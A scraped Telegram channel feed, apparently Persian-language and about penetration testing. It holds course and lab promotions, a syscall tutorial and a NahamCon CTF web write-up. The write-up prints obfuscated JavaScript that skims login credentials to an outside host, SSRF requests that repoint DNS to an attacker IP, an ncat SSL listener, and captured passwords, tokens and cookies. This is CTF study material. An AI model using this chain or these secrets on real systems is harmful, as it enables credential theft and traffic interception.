NSEs
1.29K subscribers
131 photos
15 videos
64 files
220 links
Where Network meets Red Team 🎯
If you're into PenTesting, Hacking, and Cyber Shenanigans — you're home!
🧠 Learn • 🚀 Hack • 🧩 Quiz • 📚 Books • 😁 Memes
Download Telegram
Forwarded from The Chaos
https://youtu.be/sXP-y09UKVk

🚀 آموزش بررسی APIهای مدرن با استفاده از GraphQL و SQL Injection!

در این ویدیو، یک چالش امنیتی واقعی را از صفر تا صد بررسی میکنیم و یاد میگیریم چطور با ترکیب تکنیک‌های مختلف، یک API را آسیب‌شناسی کنیم.

شما با یک چالش امنیتی در بستر یک سامانه‌ی شبیه‌سازی‌شده‌ی Apex Pulse / APIT روبه‌رو هستید؛ سامانه‌ای که برای مدیریت و مسیریابی داده‌های مربوط به رخدادهای امنیتی طراحی شده و از یک GraphQL Gateway به‌عنوان نقطه‌ی اصلی ارتباط استفاده می‌کند.

در طول مسیر، سرنخ‌هایی درباره‌ی وضعیت gateway، قابلیت‌های فعال، resolverهای در دسترس و اجزای قدیمی سیستم در اختیار شما قرار می‌گیرد که باید با دقت تحلیل شوند.

تمرکز اصلی چالش روی مفاهیمی مانند GraphQL Introspection، کنترل دسترسی در سطح objectها، مدیریت توکن‌های احراز هویت، و تعامل ناامن میان GraphQL و لایه‌ی پایگاه داده است.

لینک چالش :https://challenginno.ir/challenge/wstg-apit-01

#API #WSTG #OWASP #WEB #lab
❤7
This media is not supported in your browser
VIEW IN TELEGRAM
🔥5
Forwarded from OS Internals (Abolfazl Kazemi)
🚀 دوره‌ی Foundations of Linux Reverse Engineering and Exploitation به صورت کامل منتشر شد!

دوستان سلام؛ تمام محتوای دوره شامل اسلایدها، نمونه‌کدها و مطالب آموزشی، اکنون به‌صورت کامل در گیت‌هاب قرار گرفته است.

این دوره برای آشنایی عمیق با Internal لینوکس، مهندسی معکوس باینری‌ها، آسیب‌پذیری‌ها و تکنیک‌های عملی اکسپلویت طراحی شده است.

📚 در این دوره یاد می‌گیرید:
- درک ساختار داخلی Linux، حافظه، ELF و system callها
- مهندسی معکوس باینری‌های لینوکس با ابزارهای مختلف
- تحلیل آسیب‌پذیری‌های رایج
- نوشتن و تست اکسپلویت
- حل چالش‌های واقعی CTF و ساخت Proof of Concept

🔎 سرفصل‌ها شامل:
- Linux Internals Overview
- Exploitation Fundamentals
- Security Mechanisms and Exploitation Tools
- Solving Narnia Challenges
- Basic x64 Exploitation
- ROP Basics
- ELF Details, GOT, PLT
- Advanced ROP
- CVE-2021-4034

💻 مخزن دوره:
https://github.com/akazemi67/Linux-Exploit-Development-Course

اگر به Linux Exploitation، Reverse Engineering، CTF و امنیت سطح پایین علاقه دارید، این دوره می‌تواند یک مسیر آموزشی کامل و کاربردی برای شما باشد.
نظرات و بازخوردهای شما باعث بهتر شدن ادامه‌ی مسیر خواهد شد 🙌

#linux #exploitdev #ReverseEngineering #Exploitation #CTF #CyberSecurity #Pwntools #ROP #ELF #GDB #Ghidra
❤6
This media is not supported in your browser
VIEW IN TELEGRAM
⚡4
This media is not supported in your browser
VIEW IN TELEGRAM
⚡4
This media is not supported in your browser
VIEW IN TELEGRAM
⚡4
This media is not supported in your browser
VIEW IN TELEGRAM
🔥4
Forwarded from Zinox
http://0xhunter.ir/lab/oauth/scenario-2

لب سناریو دوم داغه داغ
❤6
This media is not supported in your browser
VIEW IN TELEGRAM
❤4
سلاام دوباره آقا امشب اومدیم یه رایتاپ میشه گفت خوب که مربوط به nahamcon هست بزاریم امیدوارم لذت ببرین

توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :

<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-978312237-6');
</script>

بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';

document.getElementById(bb + ccr + cd).addEventListener("click", function() {
var a_1 = 'htt';
var a_2 = 'ps://';
var a_3 = 'hac';
var a_4 = 'kboo';
var a_5 = 'kag';
var a_6 = 'ram';
var a_7 = '.c';
var a_8 = 'om/';
var a_9 = 'log';
var a_10 = 'in';

var e = new XMLHttpRequest;
e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e.onload = function() {
var t = JSON.parse(e.responseText);
if (console.log(), 201 == e.status) {
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
document.body.innerHTML = document.body.innerHTML + '';
window.location = t[0];
} else {
alert(t[0]);
}
};
e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
event.stopImmediatePropagation();
});

بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);

توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:

178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"

در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
$.post('/connection-test', { node: 'us1' }, function(resp) {
$('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
}).fail(function(resp) {
$('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
});
});

شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1

و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>

محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :

$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});

$('.setDN
S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});

توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}

و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.

https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
❤10👏1
This media is not supported in your browser
VIEW IN TELEGRAM
🔥6
https://t.me/S3cForge

کانال شخصیه داش امینه تازه زده
هر پستی اونجا گذاشته میشه اینجاهم میزاره
حمایت کنید
❤8
This media is not supported in your browser
VIEW IN TELEGRAM
🔥5
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک  Open Resource در یک فرآیند عمل می‌کنه و  یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD می‌تونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سخت‌افزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>    
#include <unistd.h>   
#include <errno.h>    
#include <string.h>   

int main() {

    int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
    if (fd == -1) {
        printf("err: %s\n", strerror(errno));
        return 1;
    }
    printf("success! FD: %d\n", fd);
   

    close(fd);
    printf("closed.\n");
   
    return 0;
}

اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش  و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین  user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:

section .data
    msg db 'Hello, World!', 0x0A 
    len equ $ - msg               

section .text
    global _start

_start:
    ; Syscall write
    mov rax, 1        
    mov rdi, 1         
    mov rsi, msg       
    mov rdx, len      
    syscall           
   
    mov rax, 60        
    mov rdi, 0        
    syscall            

خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

اجراش کنین.
امیدوارم لذت برده باشین.
➖➖➖➖
CHANNEL
❤8
This media is not supported in your browser
VIEW IN TELEGRAM
🔥6
سالم دوستان امیدوارم حالتون خوب باشه ، تو این پست قراره به یکی
از تکنیک های حملات سمت کلاینت بپردازیم.
تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با
چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم


امیدوارم که از این پست لذت ببرید .
#Red_Team #Pentest #Network #WebDAV
➖➖➖➖➖
CHANNEL
🔥8❤1